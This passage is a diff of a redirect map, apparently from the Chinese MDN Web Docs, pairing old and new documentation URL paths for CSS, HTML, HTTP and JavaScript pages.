+/zh-CN/docs/Web/Guide/CSS/Consistent_list_indentation /zh-CN/docs/Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation +/zh-CN/docs/Web/Guide/CSS/Counters /zh-CN/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +/zh-CN/docs/Web/Guide/CSS/Flexible_boxes /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +/zh-CN/docs/Web/Guide/CSS/Getting_started /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/Web/Guide/CSS/Getting_started/Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/Web/Guide/CSS/Getting_started/Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/Web/Guide/CSS/Getting_started/JavaScript /zh-CN/docs/conflicting/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +/zh-CN/docs/Web/Guide/CSS/Getting_started/Layout /zh-CN/docs/conflicting/Learn/CSS/CSS_layout +/zh-CN/docs/Web/Guide/CSS/Getting_started/Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/Web/Guide/CSS/Getting_started/Media /zh-CN/docs/Web/Progressive_web_apps/Responsive/Media_types +/zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/Web/Guide/CSS/Getting_started/SVG_and_CSS /zh-CN/docs/Web/SVG/Tutorial/SVG_and_CSS +/zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/Web/Guide/CSS/Getting_started/Tables /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Styling_tables +/zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 /zh-CN/docs/Web/Guide/CSS/Getting_started/XML数据 /zh-CN/docs/Web/Guide/CSS/Getting_started/XML_data -/zh-CN/docs/Web/Guide/CSS/Getting_started/为何使用CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS -/zh-CN/docs/Web/Guide/CSS/Getting_started/媒体 /zh-CN/docs/Web/Guide/CSS/Getting_started/Media -/zh-CN/docs/Web/Guide/CSS/Getting_started/布局 /zh-CN/docs/Web/Guide/CSS/Getting_started/Layout +/zh-CN/docs/Web/Guide/CSS/Getting_started/为何使用CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 +/zh-CN/docs/Web/Guide/CSS/Getting_started/媒体 /zh-CN/docs/Web/Progressive_web_apps/Responsive/Media_types +/zh-CN/docs/Web/Guide/CSS/Getting_started/布局 /zh-CN/docs/conflicting/Learn/CSS/CSS_layout +/zh-CN/docs/Web/Guide/CSS/Media_queries /zh-CN/docs/Web/CSS/Media_Queries/Using_media_queries +/zh-CN/docs/Web/Guide/CSS/Scaling_background_images /zh-CN/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +/zh-CN/docs/Web/Guide/CSS/Testing_media_queries /zh-CN/docs/Web/CSS/Media_Queries/Testing_media_queries +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Adding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_and_float /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/zh-CN/docs/Web/Guide/CSS/Understanding_z_index/The_stacking_context /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context /zh-CN/docs/Web/Guide/CSS/Using_CSS_animations /zh-CN/docs/Web/CSS/CSS_Animations/Using_CSS_animations +/zh-CN/docs/Web/Guide/CSS/Using_CSS_gradients /zh-CN/docs/Web/CSS/CSS_Images/Using_CSS_gradients /zh-CN/docs/Web/Guide/CSS/Using_CSS_transforms /zh-CN/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms /zh-CN/docs/Web/Guide/CSS/Using_CSS_transitions /zh-CN/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions -/zh-CN/docs/Web/Guide/CSS/Using_multiple_backgrounds /zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds -/zh-CN/docs/Web/Guide/CSS/媒体查询 /zh-CN/docs/Web/Guide/CSS/Media_queries -/zh-CN/docs/Web/Guide/DOM /zh-CN/docs/Web/Guide/API/DOM +/zh-CN/docs/Web/Guide/CSS/Using_multi-column_layouts /zh-CN/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts +/zh-CN/docs/Web/Guide/CSS/Using_multiple_backgrounds /zh-CN/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +/zh-CN/docs/Web/Guide/CSS/Using_the_:target_selector /zh-CN/docs/Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors +/zh-CN/docs/Web/Guide/CSS/Visual_formatting_model /zh-CN/docs/Web/CSS/Visual_formatting_model +/zh-CN/docs/Web/Guide/CSS/媒体查询 /zh-CN/docs/Web/CSS/Media_Queries/Using_media_queries +/zh-CN/docs/Web/Guide/DOM /zh-CN/docs/conflicting/Web/API/Document_Object_Model_dd00a71ceceac547ab464128db6bd8ef /zh-CN/docs/Web/Guide/DOM/Whitespace_in_the_DOM /zh-CN/docs/Web/API/Document_Object_Model/Whitespace /zh-CN/docs/Web/Guide/Events/Touch_events /zh-CN/docs/Web/API/Touch_events /zh-CN/docs/Web/Guide/Events/事件回调 /zh-CN/docs/Web/Guide/Events/Event_handlers @@ -1833,44 +2252,74 @@ /zh-CN/docs/Web/Guide/HTML/Canvas_tutorial/Pixel_manipulation_with_canvas /zh-CN/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas /zh-CN/docs/Web/Guide/HTML/Canvas_tutorial/Transformations /zh-CN/docs/Web/API/Canvas_API/Tutorial/Transformations /zh-CN/docs/Web/Guide/HTML/Canvas_tutorial/Using_images /zh-CN/docs/Web/API/Canvas_API/Tutorial/Using_images -/zh-CN/docs/Web/Guide/HTML/Forms /zh-CN/docs/Learn/HTML/Forms -/zh-CN/docs/Web/Guide/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets -/zh-CN/docs/Web/Guide/HTML/Forms/My_first_HTML_form /zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form -/zh-CN/docs/Web/Guide/HTML/Forms/Sending_and_retrieving_form_data /zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data -/zh-CN/docs/Web/Guide/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript -/zh-CN/docs/Web/Guide/HTML/Forms/表单入门 /zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form +/zh-CN/docs/Web/Guide/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Editable_content +/zh-CN/docs/Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla /zh-CN/docs/Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla +/zh-CN/docs/Web/Guide/HTML/Email_links /zh-CN/docs/conflicting/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +/zh-CN/docs/Web/Guide/HTML/Forms /zh-CN/docs/Learn/Forms +/zh-CN/docs/Web/Guide/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls +/zh-CN/docs/Web/Guide/HTML/Forms/My_first_HTML_form /zh-CN/docs/Learn/Forms/Your_first_form +/zh-CN/docs/Web/Guide/HTML/Forms/Sending_and_retrieving_form_data /zh-CN/docs/Learn/Forms/Sending_and_retrieving_form_data +/zh-CN/docs/Web/Guide/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/Forms/Sending_forms_through_JavaScript +/zh-CN/docs/Web/Guide/HTML/Forms/表单入门 /zh-CN/docs/Learn/Forms/Your_first_form +/zh-CN/docs/Web/Guide/HTML/Forms_in_HTML /zh-CN/docs/orphaned/Learn/HTML/Forms/HTML5_updates +/zh-CN/docs/Web/Guide/HTML/HTML /zh-CN/docs/orphaned/Web/Guide/HTML/HTML +/zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_Thematic_Classification /zh-CN/docs/conflicting/Web/Guide/HTML/HTML5 +/zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_element_list /zh-CN/docs/conflicting/Web/HTML/Element /zh-CN/docs/Web/Guide/HTML/Introduction /zh-CN/docs/learn/HTML/Introduction_to_HTML +/zh-CN/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document /zh-CN/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines +/zh-CN/docs/Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages /zh-CN/docs/Learn/HTML/Howto/Author_fast-loading_HTML_pages +/zh-CN/docs/Web/Guide/HTML/Using_HTML5_audio_and_video /zh-CN/docs/conflicting/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +/zh-CN/docs/Web/Guide/HTML/Using_data_attributes /zh-CN/docs/Learn/HTML/Howto/Use_data_attributes /zh-CN/docs/Web/Guide/Performance/Using_web_workers /zh-CN/docs/Web/API/Web_Workers_API/Using_web_workers /zh-CN/docs/Web/Guide/Using_FormData_Objects /zh-CN/docs/Web/API/FormData/Using_FormData_Objects +/zh-CN/docs/Web/HTML/Attributes/自动完成属性 /zh-CN/docs/Web/HTML/Attributes/autocomplete +/zh-CN/docs/Web/HTML/CORS_settings_attributes /zh-CN/docs/Web/HTML/Attributes/crossorigin /zh-CN/docs/Web/HTML/Canvas /zh-CN/docs/Web/API/Canvas_API /zh-CN/docs/Web/HTML/Canvas/Canvas教程 /zh-CN/docs/Web/API/Canvas_API/Tutorial -/zh-CN/docs/Web/HTML/Canvas/Drawing_graphics_with_canvas /zh-CN/docs/Web/API/Canvas_API/Drawing_graphics_with_canvas +/zh-CN/docs/Web/HTML/Canvas/Drawing_graphics_with_canvas /zh-CN/docs/conflicting/Web/API/Canvas_API/Tutorial /zh-CN/docs/Web/HTML/Canvas/Tutorial /zh-CN/docs/Web/API/Canvas_API/Tutorial -/zh-CN/docs/Web/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Content_Editable +/zh-CN/docs/Web/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Editable_content /zh-CN/docs/Web/HTML/Controlling_spell_checking_in_HTML_forms /en-US/docs/Web/HTML/Global_attributes/spellcheck +/zh-CN/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video /zh-CN/docs/Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video +/zh-CN/docs/Web/HTML/Element/Input/月份 /zh-CN/docs/Web/HTML/Element/input/month +/zh-CN/docs/Web/HTML/Element/Input/范围 /zh-CN/docs/Web/HTML/Element/input/range /zh-CN/docs/Web/HTML/Element/Video/canplay_event /zh-CN/docs/Web/API/HTMLMediaElement/canplay_event /zh-CN/docs/Web/HTML/Element/Video/canplaythrough_event /zh-CN/docs/Web/API/HTMLMediaElement/canplaythrough_event /zh-CN/docs/Web/HTML/Element/Video/ended_event /zh-CN/docs/Web/API/HTMLMediaElement/ended_event /zh-CN/docs/Web/HTML/Element/Video/loadeddata_event /zh-CN/docs/Web/API/HTMLMediaElement/loadeddata_event +/zh-CN/docs/Web/HTML/Element/command /zh-CN/docs/orphaned/Web/HTML/Element/command +/zh-CN/docs/Web/HTML/Element/element /zh-CN/docs/orphaned/Web/HTML/Element/element /zh-CN/docs/Web/HTML/Element/video/play_event /zh-CN/docs/Web/API/HTMLMediaElement/play_event /zh-CN/docs/Web/HTML/Element/video/timeupdate_event /zh-CN/docs/Web/API/HTMLMediaElement/timeupdate_event /zh-CN/docs/Web/HTML/Element/视频 /zh-CN/docs/Web/HTML/Element/video /zh-CN/docs/Web/HTML/Element/选项 /zh-CN/docs/Web/HTML/Element/option -/zh-CN/docs/Web/HTML/Forms /zh-CN/docs/Learn/HTML/Forms -/zh-CN/docs/Web/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets -/zh-CN/docs/Web/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript -/zh-CN/docs/Web/HTML/Forms/表单入门 /zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form -/zh-CN/docs/Web/HTML/Forms_in_HTML /zh-CN/docs/Web/Guide/HTML/Forms_in_HTML +/zh-CN/docs/Web/HTML/Focus_management_in_HTML /zh-CN/docs/conflicting/Web/API/Document/hasFocus +/zh-CN/docs/Web/HTML/Forms /zh-CN/docs/Learn/Forms +/zh-CN/docs/Web/HTML/Forms/How_to_build_custom_form_widgets /zh-CN/docs/Learn/Forms/How_to_build_custom_form_controls +/zh-CN/docs/Web/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/Forms/Sending_forms_through_JavaScript +/zh-CN/docs/Web/HTML/Forms/表单入门 /zh-CN/docs/Learn/Forms/Your_first_form +/zh-CN/docs/Web/HTML/Forms_in_HTML /zh-CN/docs/orphaned/Learn/HTML/Forms/HTML5_updates +/zh-CN/docs/Web/HTML/Global_attributes/dropzone /zh-CN/docs/orphaned/Web/HTML/Global_attributes/dropzone +/zh-CN/docs/Web/HTML/Global_attributes/x-ms-加速装置键 /zh-CN/docs/Web/HTML/Global_attributes/x-ms-acceleratorkey +/zh-CN/docs/Web/HTML/Global_attributes/x-ms-格式-检测 /zh-CN/docs/Web/HTML/Global_attributes/x-ms-format-detection /zh-CN/docs/Web/HTML/Global_attributes/摩缺 /zh-CN/docs/Web/HTML/Global_attributes/accesskey /zh-CN/docs/Web/HTML/Inline_elemente /zh-CN/docs/Web/HTML/Inline_elements /zh-CN/docs/Web/HTML/Introduction /zh-CN/docs/learn/HTML/Introduction_to_HTML +/zh-CN/docs/Web/HTML/Optimizing_your_pages_for_speculative_parsing /zh-CN/docs/Glossary/speculative_parsing +/zh-CN/docs/Web/HTML/Supported_media_formats /zh-CN/docs/conflicting/Web/Media/Formats /zh-CN/docs/Web/HTML/全局属性 /zh-CN/docs/Web/HTML/Global_attributes /zh-CN/docs/Web/HTML/内联元素 /zh-CN/docs/Web/HTML/Inline_elements -/zh-CN/docs/Web/HTML/动作 /zh-CN/docs/Web/HTML/Optimizing_your_pages_for_speculative_parsing -/zh-CN/docs/Web/HTML/媒体支持 /zh-CN/docs/Web/HTML/Supported_media_formats +/zh-CN/docs/Web/HTML/动作 /zh-CN/docs/Glossary/speculative_parsing +/zh-CN/docs/Web/HTML/媒体支持 /zh-CN/docs/conflicting/Web/Media/Formats /zh-CN/docs/Web/HTML/属性 /zh-CN/docs/Web/HTML/Attributes +/zh-CN/docs/Web/HTTP/Access_control_CORS /zh-CN/docs/Web/HTTP/CORS /zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types /zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types /zh-CN/docs/Web/HTTP/Basics_of_HTTP/选择_www_或非_www_URL_作为域名 /zh-CN/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +/zh-CN/docs/Web/HTTP/CORS/Errors/CORS错误允许凭证 /zh-CN/docs/Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials +/zh-CN/docs/Web/HTTP/Caching_FAQ /zh-CN/docs/Web/HTTP/Caching +/zh-CN/docs/Web/HTTP/Content_negotiation/Accept_默认值 /zh-CN/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values +/zh-CN/docs/Web/HTTP/HTTP_Strict_Transport_Security /zh-CN/docs/Web/HTTP/Headers/Strict-Transport-Security +/zh-CN/docs/Web/HTTP/HTTP_response_codes /zh-CN/docs/conflicting/Web/HTTP/Status /zh-CN/docs/Web/HTTP/HTTP请求方法 /zh-CN/docs/Web/HTTP/Methods /zh-CN/docs/Web/HTTP/HTTP请求方法/GET /zh-CN/docs/Web/HTTP/Methods/GET /zh-CN/docs/Web/HTTP/HTTP请求方法/POST /zh-CN/docs/Web/HTTP/Methods/POST @@ -1887,21 +2336,33 @@ /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid/require-sri-for /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/require-sri-for /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid/sandbox /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid/upgrade-insecure-requests /zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests +/zh-CN/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file /zh-CN/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file /zh-CN/docs/Web/HTTP/Response_codes /zh-CN/docs/Web/HTTP/Status /zh-CN/docs/Web/HTTP/Response_codes/100 /zh-CN/docs/Web/HTTP/Status/100 /zh-CN/docs/Web/HTTP/Response_codes/204 /zh-CN/docs/Web/HTTP/Status/204 /zh-CN/docs/Web/HTTP/Response_codes/501 /zh-CN/docs/Web/HTTP/Status/501 +/zh-CN/docs/Web/HTTP/Server-Side_Access_Control /zh-CN/docs/conflicting/Web/HTTP/CORS +/zh-CN/docs/Web/HTTP/X-Frame-Options /zh-CN/docs/Web/HTTP/Headers/X-Frame-Options +/zh-CN/docs/Web/HTTP/data_URIs /zh-CN/docs/Web/HTTP/Basics_of_HTTP/Data_URIs /zh-CN/docs/Web/HTTP/消息 /zh-CN/docs/Web/HTTP/Messages -/zh-CN/docs/Web/HTTP/缓存_FAQ /zh-CN/docs/Web/HTTP/Caching_FAQ +/zh-CN/docs/Web/HTTP/策略特征 /zh-CN/docs/Web/HTTP/Feature_Policy +/zh-CN/docs/Web/HTTP/策略特征/Using_Feature_Policy /zh-CN/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy +/zh-CN/docs/Web/HTTP/缓存_FAQ /zh-CN/docs/Web/HTTP/Caching +/zh-CN/docs/Web/HTTP/跨域资源共享(CORS)_ /zh-CN/docs/orphaned/Web/HTTP/跨域资源共享(CORS)_ /zh-CN/docs/Web/HTTP/重定向 /zh-CN/docs/Web/HTTP/Redirections /zh-CN/docs/Web/JavaScript/ECMAScript_6_support_in_Mozilla /zh-CN/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_when_to_use_them /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness +/zh-CN/docs/Web/JavaScript/Getting_Started /zh-CN/docs/conflicting/Learn/Getting_started_with_the_web/JavaScript_basics +/zh-CN/docs/Web/JavaScript/Guide/About /zh-CN/docs/conflicting/Web/JavaScript/Guide/Introduction /zh-CN/docs/Web/JavaScript/Guide/Closures /zh-CN/docs/Web/JavaScript/Closures /zh-CN/docs/Web/JavaScript/Guide/Equality_comparisons_and_when_to_use_them /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness /zh-CN/docs/Web/JavaScript/Guide/EventLoop /zh-CN/docs/Web/JavaScript/EventLoop /zh-CN/docs/Web/JavaScript/Guide/Inheritance_Revisited /zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain /zh-CN/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain /zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain +/zh-CN/docs/Web/JavaScript/Guide/JavaScript_Overview /zh-CN/docs/conflicting/Web/JavaScript/Guide/Introduction_6f341ba6db4b060ccbd8dce4a0d5214b /zh-CN/docs/Web/JavaScript/Guide/Predefined_Core_Objects /zh-CN/docs/Web/JavaScript/Guide +/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries /zh-CN/docs/conflicting/Web/JavaScript/Guide/Regular_Expressions/Assertions +/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions/量词 /zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers /zh-CN/docs/Web/JavaScript/Guide/Sameness /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness /zh-CN/docs/Web/JavaScript/Guide/Statements /zh-CN/docs/Web/JavaScript/Guide/Control_flow_and_error_handling /zh-CN/docs/Web/JavaScript/Guide/The_Iterator_protocol /zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols @@ -1909,6 +2370,8 @@ /zh-CN/docs/Web/JavaScript/Guide/iterable /zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols /zh-CN/docs/Web/JavaScript/Guide/介绍 /zh-CN/docs/Web/JavaScript/Guide/Introduction /zh-CN/docs/Web/JavaScript/Guide/可迭代对象 /zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols +/zh-CN/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/conflicting/Learn/JavaScript/Objects +/zh-CN/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Web/XPath/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla /zh-CN/docs/Web/JavaScript/ECMAScript_7_support_in_Mozilla /zh-CN/docs/Web/JavaScript/Reference/Array /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array /zh-CN/docs/Web/JavaScript/Reference/Array/Reduce /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce @@ -1922,14 +2385,15 @@ /zh-CN/docs/Web/JavaScript/Reference/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/Web/JavaScript/Reference/Array/map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/Web/JavaScript/Reference/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/Web/JavaScript/Reference/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/Web/JavaScript/Reference/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Array/some /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/Web/JavaScript/Reference/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/zh-CN/docs/Web/JavaScript/Reference/Boolean/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype +/zh-CN/docs/Web/JavaScript/Reference/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean +/zh-CN/docs/Web/JavaScript/Reference/Classes/Class_elements /zh-CN/docs/Web/JavaScript/Reference/Classes/Public_class_fields /zh-CN/docs/Web/JavaScript/Reference/Comments /zh-CN/docs/Web/JavaScript/Reference/Lexical_grammar#Comments /zh-CN/docs/Web/JavaScript/Reference/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/Web/JavaScript/Reference/Date/getDate /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate @@ -1945,6 +2409,7 @@ /zh-CN/docs/Web/JavaScript/Reference/Date/setTime /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/setTime /zh-CN/docs/Web/JavaScript/Reference/Date/toJSON /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/toJSON /zh-CN/docs/Web/JavaScript/Reference/Date/valueOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/valueOf +/zh-CN/docs/Web/JavaScript/Reference/Errors/不能添加属性 /zh-CN/docs/Web/JavaScript/Reference/Errors/Cant_assign_to_property /zh-CN/docs/Web/JavaScript/Reference/Function /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function /zh-CN/docs/Web/JavaScript/Reference/Function/apply /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/apply /zh-CN/docs/Web/JavaScript/Reference/Function/arity /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/arity @@ -1954,7 +2419,7 @@ /zh-CN/docs/Web/JavaScript/Reference/Function/isGenerator /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/isGenerator /zh-CN/docs/Web/JavaScript/Reference/Function/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/length /zh-CN/docs/Web/JavaScript/Reference/Function/name /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/name -/zh-CN/docs/Web/JavaScript/Reference/Function/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype +/zh-CN/docs/Web/JavaScript/Reference/Function/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Function /zh-CN/docs/Web/JavaScript/Reference/Function/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/toSource /zh-CN/docs/Web/JavaScript/Reference/Function/toString /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/toString /zh-CN/docs/Web/JavaScript/Reference/Functions_and_function_scope /zh-CN/docs/Web/JavaScript/Reference/Functions @@ -1970,14 +2435,29 @@ /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/flatten /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/flat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/index /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/of /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/input /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/copyWithin +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce()用法 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/ArrayBuffer /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ArrayBufferView /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/TypedArray +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/AsyncIterator /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/AsyncIterator +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Collator /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/Collator +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DataView/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/DataView +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/prototype 